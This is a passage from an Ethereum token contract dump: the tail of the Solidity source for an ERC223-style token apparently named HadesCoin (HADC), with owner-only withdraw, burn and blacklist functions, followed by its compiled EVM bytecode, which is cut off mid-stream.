balances[_to].add(_value); LogTransfer(msg.sender, _to, _value, _data); LogTransfer(msg.sender, _to, _value); return true; } // function that is called when transaction target is a contract function transferToContract(address _to, uint256 _value, bytes _data) private returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); LogTransfer(msg.sender, _to, _value, _data); LogTransfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) canTrans public returns (bool success) { require(_to != address(0) && _value > 0 && balances[_from] >= _value && allowed[_from][msg.sender] >= _value && blacklist[_from] == false && blacklist[_to] == false); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); LogTransfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; LogApproval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint256){ ForeignToken t = ForeignToken(tokenAddress); uint256 bal = t.balanceOf(who); return bal; } function withdraw(address receiveAddress) onlyOwner public { uint256 etherBalance = this.balance; if(!receiveAddress.send(etherBalance))revert(); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); _totalSupply = _totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); LogBurn(burner, _value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } function name() public view returns (string Name) { return _name; } function symbol() public view returns (string Symbol) { return _symbol; } function decimals() public view returns (uint8 Decimals) { return _decimals; } function totalSupply() public view returns (uint256 TotalSupply) { return _totalSupply; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } }
0x606060405260043610610251576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461025b578063095ea7b3146102e957806314ffbafc1461034357806318160ddd146103705780631d3795e814610399578063227a7911146103c657806323b872dd146103ef5780632e23062d14610468578063313ce5671461049157806332424aa3146104c05780633eaaf86b146104ef57806342966c6814610518578063502dadb01461053b57806351cff8d91461059557806370a08231146105ce578063781c0db41461061b578063829c34281461064857806382c6b2b61461067557806395d89b411461069e57806397b68b601461072c5780639b1cbccc146107595780639c09c83514610786578063a6f9dae1146107e0578063a8c310d514610819578063a9059cbb146108b3578063aa6ca8081461090d578063b09f126614610917578063b45be89b146109a5578063bc2d10f1146109ce578063bcf6b3cd146109fb578063be45fd6214610a51578063c108d54214610aee578063c489744b14610b1b578063cbbe974b14610b87578063d1b6a51f14610bd4578063d28d885214610c01578063d4b8399214610c8f578063d83623dd14610ce4578063d8a5436014610d11578063dd62ed3e14610d3a578063df68c1a214610da6578063e58fc54c14610dd3578063e6b71e4514610e24578063e7f9e40814610ebe578063eab136a014610eeb578063efca2eed14610f38578063f3e4877c14610f61578063f6368f8a14610fc4578063f9f92be4146110a4575b6102596110f5565b005b341561026657600080fd5b61026e61148c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102ae578082015181840152602081019050610293565b50505050905090810190601f1680156102db5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156102f457600080fd5b610329600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506114cf565b604051808215151515815260200191505060405180910390f35b341561034e57600080fd5b6103566115c1565b604051808215151515815260200191505060405180910390f35b341561037b57600080fd5b61038361165c565b6040518082815260200191505060405180910390f35b34156103a457600080fd5b6103ac611666565b604051808215151515815260200191505060405180910390f35b34156103d157600080fd5b6103d9611701565b6040518082815260200191505060405180910390f35b34156103fa57600080fd5b61044e600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611707565b604051808215151515815260200191505060405180910390f35b341561047357600080fd5b61047b611ba7565b6040518082815260200191505060405180910390f35b341561049c57600080fd5b6104a4611bad565b604051808260ff1660ff16815260200191505060405180910390f35b34156104cb57600080fd5b6104d3611bb6565b604051808260ff1660ff16815260200191505060405180910390f35b34156104fa57600080fd5b610502611bbb565b6040518082815260200191505060405180910390f35b341561052357600080fd5b6105396004808035906020019091905050611bc1565b005b341561054657600080fd5b610593600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611d8c565b005b34156105a057600080fd5b6105cc600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611e8e565b005b34156105d957600080fd5b610605600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611f49565b6040518082815260200191505060405180910390f35b341561062657600080fd5b61062e611f92565b604051808215151515815260200191505060405180910390f35b341561065357600080fd5b61065b61202d565b604051808215151515815260200191505060405180910390f35b341561068057600080fd5b6106886120ac565b6040518082815260200191505060405180910390f35b34156106a957600080fd5b6106b16120b2565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156106f15780820151818401526020810190506106d6565b50505050905090810190601f16801561071e5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561073757600080fd5b61073f6120f5565b604051808215151515815260200191505060405180910390f35b341561076457600080fd5b61076c612108565b604051808215151515815260200191505060405180910390f35b341561079157600080fd5b6107de6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919050506121a3565b005b34156107eb57600080fd5b610817600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506122a5565b005b341561082457600080fd5b6108b16004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190505061237a565b005b34156108be57600080fd5b6108f3600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506124ca565b604051808215151515815260200191505060405180910390f35b6109156110f5565b005b341561092257600080fd5b61092a6125f2565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561096a57808201518184015260208101905061094f565b50505050905090810190601f1680156109975780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156109b057600080fd5b6109b861262b565b6040518082815260200191505060405180910390f35b34156109d957600080fd5b6109e1612631565b604051808215151515815260200191505060405180910390f35b3415610a0657600080fd5b610a3760048080359060200190919080359060200190919080359060200190919080359060200190919050506126cc565b604051808215151515815260200191505060405180910390f35b3415610a5c57600080fd5b610ad4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612751565b604051808215151515815260200191505060405180910390f35b3415610af957600080fd5b610b01612871565b604051808215151515815260200191505060405180910390f35b3415610b2657600080fd5b610b71600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612884565b6040518082815260200191505060405180910390f35b3415610b9257600080fd5b610bbe600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612957565b6040518082815260200191505060405180910390f35b3415610bdf57600080fd5b610be761296f565b604051808215151515815260200191505060405180910390f35b3415610c0c57600080fd5b610c14612982565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610c54578082015181840152602081019050610c39565b50505050905090810190601f168015610c815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3415610c9a57600080fd5b610ca26129bb565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610cef57600080fd5b610cf76129e1565b604051808215151515815260200191505060405180910390f35b3415610d1c57600080fd5b610d24612a60565b6040518082815260200191505060405180910390f35b3415610d4557600080fd5b610d90600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612a66565b6040518082815260200191505060405180910390f35b3415610db157600080fd5b610db9612aed565b604051808215151515815260200191505060405180910390f35b3415610dde57600080fd5b610e0a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612b00565b604051808215151515815260200191505060405180910390f35b3415610e2f57600080fd5b610ebc60048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050612d13565b005b3415610ec957600080fd5b610ed1612e47565b604051808215151515815260200191505060405180910390f35b3415610ef657600080fd5b610f22600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612ec6565b6040518082815260200191505060405180910390f35b3415610f4357600080fd5b610f4b612ede565b6040518082815260200191505060405180910390f35b3415610f6c57600080fd5b610fc2600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050612ee4565b005b3415610fcf57600080fd5b61108a600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050613001565b604051808215151515815260200191505060405180910390f35b34156110af57600080fd5b6110db600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061353f565b604051808215151515815260200191505060405180910390f35b6000806000601060009054906101000a900460ff1615151561111657600080fd5b60001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561117557600080fd5b600c54600854111561118b57600c546008819055505b33925034915066038d7ea4c680008211156112725760001515601060029054906101000a900460ff1615151415156111c257600080fd5b6111d7600f548361355f90919063ffffffff16565b90506111ee6008548261359290919063ffffffff16565b9050600c54811115151561120157600080fd5b61120b83826135b0565b506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561126d57600080fd5b61145e565b60001515601060019054906101000a900460ff1615151480156112995750600c5460085411155b80156112e65750600654600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411155b80156113315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544210155b151561133c57600080fd5b6113a2611393600954600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461355f90919063ffffffff16565b8261359290919063ffffffff16565b90506113b96008548261359290919063ffffffff16565b90506001600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555061141383826135b0565b50620151804201600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600a54600d54101515611487576001601060006101000a81548160ff0219169083151502179055505b505050565b611494613de4565b6040805190810160405280600981526020017f4861646573436f696e0000000000000000000000000000000000000000000000815250905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fc5c187f53b6bf5e61e032320e996f271e6dc6b212ee64ec28ba8e6b9e3f97a4e846040518082815260200191505060405180910390a36001905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161e57600080fd5b601060009054906101000a900460ff1615151561163a57600080fd5b6000601060026101000a81548160ff0219169083151502179055506001905090565b6000600a54905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116c357600080fd5b601060009054906101000a900460ff161515156116df57600080fd5b6000601060016101000a81548160ff0219169083151502179055506001905090565b600f5481565b600060011515600e60009054906101000a900460ff16151514151561172b57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156117685750600082115b80156117b3575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b801561183b575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015611897575060001515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156118f3575060001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15156118fe57600080fd5b61195082600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461372c90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119e582600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461359290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ab782600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461372c90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f0a85107a334eae0d22d21cdf13af0f8e8125039ec60baaa843d2c4c5b0680174846040518082815260200191505060405180910390a3600190509392505050565b60095481565b60006012905090565b601281565b600a5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611c1e57600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515611c6c57600080fd5b339050611cc182600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461372c90919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d1982600a5461372c90919063ffffffff16565b600a81905550611d3482600d5461372c90919063ffffffff16565b600d819055508073ffffffffffffffffffffffffffffffffffffffff167f38d762ef507761291a578e921acfe29c1af31a7331ea03e391cf16cfc4d4f581836040518082815260200191505060405180910390a25050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611de957600080fd5b60ff825111151515611dfa57600080fd5b600090505b81518160ff161015611e8a57600160036000848460ff16815181101515611e2257fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611dff565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611eeb57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163190508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611f4557600080fd5b5050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611fef57600080fd5b601060009054906101000a900460ff1615151561200b57600080fd5b6001601060016101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561208a57600080fd5b6001600e60006101000a81548160ff0219169083151502179055506001905090565b600b5481565b6120ba613de4565b6040805190810160405280600481526020017f4841444300000000000000000000000000000000000000000000000000000000815250905090565b601060019054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561216557600080fd5b601060009054906101000a900460ff1615151561218157600080fd5b6001601060006101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561220057600080fd5b60ff82511115151561221157600080fd5b600090505b81518160ff1610156122a157600060036000848460ff1681518110151561223957fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050612216565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561230057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151561237757806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123d757600080fd5b601060009054906101000a900460ff161515156123f357600080fd5b60ff83511115151561240457600080fd5b8151835114151561241457600080fd5b600090505b82518160ff1610156124c557600c54828260ff1681518110151561243957fe5b906020019060200201511115151561245057600080fd5b61248e838260ff1681518110151561246457fe5b90602001906020020151838360ff1681518110151561247f57fe5b906020019060200201516135b0565b50600a54600d541015156124b8576001601060006101000a81548160ff0219169083151502179055505b8080600101915050612419565b505050565b60006124d4613df8565b60011515600e60009054906101000a900460ff1615151415156124f657600080fd5b600083118015612556575060001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156125b2575060001515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15156125bd57600080fd5b6125c684613745565b156125dd576125d6848483613758565b91506125eb565b6125e8848483613b32565b91505b5092915050565b6040805190810160405280600481526020017f484144430000000000000000000000000000000000000000000000000000000081525081565b60085481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561268e57600080fd5b601060009054906101000a900460ff161515156126aa57600080fd5b6001601060026101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561272957600080fd5b846008819055508360098190555082600f819055508160068190555060019050949350505050565b600060011515600e60009054906101000a900460ff16151514151561277557600080fd5b6000831180156127d5575060001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015612831575060001515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561283c57600080fd5b61284584613745565b1561285c57612855848484613758565b905061286a565b612867848484613b32565b90505b9392505050565b601060009054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561292f57600080fd5b6102c65a03f1151561294057600080fd5b505050604051805190509050809250505092915050565b60056020528060005260406000206000915090505481565b601060029054906101000a900460ff1681565b6040805190810160405280600981526020017f4861646573436f696e000000000000000000000000000000000000000000000081525081565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612a3e57600080fd5b6000601060006101000a81548160ff0219169083151502179055506001905090565b600c5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e60009054906101000a900460ff1681565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b6057600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b1515612c0657600080fd5b6102c65a03f11515612c1757600080fd5b5050506040518051905090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515612cef57600080fd5b6102c65a03f11515612d0057600080fd5b5050506040518051905092505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612d7057600080fd5b60ff835111151515612d8157600080fd5b600090505b82518160ff161015612e4257600654828260ff16815181101515612da657fe5b9060200190602002015111151515612dbd57600080fd5b818160ff16815181101515612dce57fe5b9060200190602002015160046000858460ff16815181101515612ded57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080600101915050612d86565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612ea457600080fd5b6000600e60006101000a81548160ff0219169083151502179055506001905090565b60046020528060005260406000206000915090505481565b600d5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612f4157600080fd5b601060009054906101000a900460ff16151515612f5d57600080fd5b60ff835111151515612f6e57600080fd5b600c548211151515612f7f57600080fd5b600090505b82518160ff161015612fd357600c548211151515612fa157600080fd5b612fc5838260ff16815181101515612fb557fe5b90602001906020020151836135b0565b508080600101915050612f84565b600a54600d54101515612ffc576001601060006101000a81548160ff0219169083151502179055505b505050565b600060011515600e60009054906101000a900460ff16151514151561302557600080fd5b600084118015613085575060001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b80156130e1575060001515600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b15156130ec57600080fd5b6130f585613745565b156135295783600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561314857600080fd5b61319a84600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461372c90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061322f84600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461359290919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b6020831015156132c1578051825260208201915060208101905060208303925061329c565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b838110156133a2578082015181840152602081019050613387565b50505050905090810190601f1680156133cf5780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f1935050505015156133f357fe5b826040518082805190602001908083835b6020831015156134295780518252602082019150602081019050602083039250613404565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f76a5b5b99a9d7ae1bbce58b63dce7219d77b55ca2eeb9455507919d3aac0638b876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f0a85107a334eae0d22d21cdf13af0f8e8125039ec60baaa843d2c4c5b0680174866040518082815260200191505060405180910390a360019050613537565b613534858585613b32565b90505b949350505050565b60036020528060005260406000206000915054906101000a900460ff1681565b60008082840290506000841480613580575082848281151561357d57fe5b04145b151561358857fe5b8091505092915050565b60008082840190508381101515156135a657fe5b8091505092915050565b6000601060009054906101000a900460ff161515156135ce57600080fd5b6000600c54101515156135e057600080fd5b600c5482111515156135f157600080fd5b61360682600d5461359290919063ffffffff16565b600d8190555061362182600c5461372c90919063ffffffff16565b600c8190555061367982600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461359290919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f0a85107a334eae0d22d21cdf13af0f8e8125039ec60baaa843d2c4c5b0680174846040518082815260200191505060405180910390a36001905092915050565b600082821115151561373a57fe5b818303905092915050565b600080823b905060008111915050919050565b60008083600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101515156137a957600080fd5b6137fb84600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461372c90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061389084600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461359290919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561399857808201518184015260208101905061397d565b50505050905090810190601f1680156139c55780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15156139e557600080fd5b6102c65a03f115156139f657600080fd5b505050826040518082805190602001908083835b602083101515613a2f5780518252602082019150602081019050602083039250613a0a565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f76a5b5b99a9d7ae1bbce58b63dce7219d77b55ca2eeb9455507919d3aac0638b876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f0a85107a334eae0d22d21cdf13af0f8e8125039ec60baaa843d2c4c5b0680174866040518082815260200191505060405180910390a360019150509392505050565b600082600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410151515613b8257600080fd5b613bd483600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461372c90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613c6983600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461359290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b602083101515613ce25780518252602082019150602081019050602083039250613cbd565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f76a5b5b99a9d7ae1